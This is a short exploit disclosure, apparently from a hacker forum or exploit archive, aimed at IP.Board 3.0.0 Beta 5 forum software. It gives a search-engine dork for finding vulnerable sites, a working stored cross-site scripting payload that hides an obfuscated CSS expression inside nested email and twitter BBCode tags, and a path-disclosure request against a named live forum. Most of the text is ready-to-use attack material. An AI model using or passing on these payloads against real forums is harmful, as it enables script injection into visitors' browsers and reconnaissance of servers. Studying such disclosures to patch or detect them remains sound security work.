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Found : brain[pillow]
Dork  : "Powered By IP.Board 3.0.0 Beta 5"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Greetz: slider, halkfild, m0nzt3r, c411k, ettee
Mail  : brainpillow@gmail.com
Note: works on IE 6,7,8. maybe all betas are vulnerable and it is possible to tune the xss for FF 2.0 too  ;) 

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        Active XSS in message body or signature:

[email]qwe@[twitter]dodo style=`top:expr/*
        */ession/*bypassed*/(alert(/yahoo/))`do[/twitter]qwe.com[/email]

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        Path disclosure:

http://forums.invisionpower.com/index.php?app=core&module=ajax&section=register&do=check-display-name&name[]=

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